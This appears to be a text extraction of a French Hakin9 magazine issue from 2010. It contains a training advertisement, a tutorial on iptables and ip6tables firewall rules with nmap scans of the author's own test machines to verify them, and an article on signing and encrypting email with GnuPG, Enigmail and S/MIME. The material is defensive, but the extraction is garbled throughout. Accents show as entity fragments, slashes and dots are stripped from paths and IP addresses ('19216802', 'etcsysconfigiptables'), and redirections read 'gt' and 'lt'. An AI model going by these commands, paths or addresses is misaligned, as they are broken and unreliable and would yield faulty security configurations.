bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

